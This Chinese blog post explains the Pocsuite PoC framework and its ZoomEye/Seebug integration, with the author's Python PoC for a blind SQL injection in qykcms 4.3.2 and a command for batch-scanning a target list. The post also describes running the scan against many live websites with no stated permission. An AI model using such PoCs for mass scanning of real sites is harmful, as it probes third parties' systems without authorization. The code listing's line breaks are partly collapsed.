关于pocsuite的使用

时间:2023-03-08 19:59:29

0x00 前言

pocsuite的用处就不多说了,早些时候也看到黑哥和余弦大佬在微博上说zoomeye 和pocsuite升级了。

结合最近自己在审计cms,也想收集一下其他cms的poc,比如chybeta大佬的cmsPoc,还有Lucifer1993大佬的AngelSword,用pcosuite重新写一下poc,同时自己审出来的一些"0day"也是可以用这个框架。

0x01 文档文档

在大概看完文档之后,说说感觉。

pocsuite官网(http://pocsuite.org/),github地址(https://github.com/knownsec/Pocsuite)

1,pocsuite升级之后提供了一个控制台交互模式,之前貌似没有??不是很清楚。

关于pocsuite的使用

2,pocsuite的强大之处是结合了知道创宇自家的几大产品,zoomeye和seebug。zoomeye能够提供大量的可疑目标,而seebug能够提供大量的poc,这几者结合真乃神器了。

关于pocsuite的使用

但我在用zoomeye的时候有个疑惑,Seebug 搜索关键词,这个seebug搜索的漏洞,是平台上全部的吗?还有就是假如是metinfo,metinfo有多个可执行的poc,那么是全部执行吗?

在我测试之后发现这个poc是来源于你自己seebug账号提交的poc,你有多少poc就能搜多少。。相当于提供了一个云端的渗透测试工具。

假如你换了系统,就不需要把之前自己写代码拷过去了。直接下载pocsuite就可以使用,唯一需要配置的就是你的404账号和密码。

关于pocsuite的使用

3,还有就是提供了给其他应用调用pocsuite的接口,那么个人也是可以利用这个diy出自己的批量漏扫。

关于pocsuite的使用

毕竟*已经造好了,不用白不用啊!

0x02 编写poc

先说说下载,可以用git下载,也可以用pip安装,都很方便。用pip方便你可以随时使用,无须cd到具体目录去,当然可以配置环境变量以达到pip的效果。

pocsuite poc的编写其实并不难,按照文档给的模板,把该填的填了就行。

pocsuite poc提供了两种编写方式,一种是python,一种是json。个人主张python,*度高,json方式看都没怎么看,完型填空,而且都是限制死了的。

主要的还是是编写verify 和attack 模式的代码,需要尽可能的减少需要从外部接收的参数,更加利于批量调度,也减少了用户的使用学习成本。毕竟脚本这种东西弄出来就是为了方便。

下面贴一贴自己之前审的qykcms前台的一个盲注poc

 #coding:utf-8

 from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register
import random
import string def randomstr():
return random.choice(string.ascii_letters)*5 class TestPOC(POCBase):
name = 'front boolean sqli in qykcms version 4.3.2'
version = ''
vulID = ''
author = ['r00tuser']
vulType = 'SQL Injection'
references = 'http://www.cnblogs.com/r00tuser/p/8044025.html'
desc = '''The vulneability is caused by filter the get_ip method,
and taker the userip into the database
'''
vulDate = '2017-12-15'
createDate = '2017-12-20'
updateDate = '2017-12-20' appName = 'qykcms'
appVersion = '4.3.2'
appPowerLink = 'http://www.qykcms.com/'
samples = [''] def _attack(self):
'''attack mode'''
return self._verify() def _verify(self):
'''verify mode'''
result = {}
data= {'lang':'cn','name':randomstr(),'content':randomstr(),'email':str(randomstr()+'@qq.com'),'phone':'','attachment':''}
headers = {'Referer': 'http://' + self.url,'X-Forwarded-For':'test'}
httpreq = req.session()
httpurl = self.url+'/?log=post&desc=feedback'
#first req
try:
response1 = httpreq.post(httpurl,data=data,headers=headers,timeout=3)
except Exception,e:
pass
#second req
try:
response2 = httpreq.post(httpurl,data=data,headers=headers,timeout=3)
if response2.status_code != 200:
return self.parse_output(result)
response2.encoding = response2.apparent_encoding
if u'系统限制' in response2.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
except Exception,e:
pass
return self.parse_output(result) def parse_output(self,result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output register(TestPOC)

本来用的是评论框来检测的,后来发现用户需要输入的东西太多了,然后改成用留言框。立马方便了很多,用户只需要输入网址便可。关于原因请看我的博文(http://www.cnblogs.com/r00tuser/p/8044025.html)

代码很简单也没有好说的。

0x03 实例使用

然后就是用这个脚本去跑啊跑,测试测试,修正修正bug。

跑了n多个网站,没有几个是可以的,心都凉了。

哎,鸡肋的洞就是麻烦。

不得不说pocsuite提供的批量扫目标(1对多),与及批量脚本扫批量目标(多对多)的功能是非常实用的。

关于pocsuite的使用

python pocsuite.py -r modules/qykcms_4_3_2_front_boolean_sqli.py -f qykcms.txt --threads 5

关于pocsuite的使用

用了五个线程,16个target 秒出。

0x04 总结

*好用我们得用,但最好还是得去了解一下*的特性,学习*是怎么造出来的。争取自己能造出另外一个*。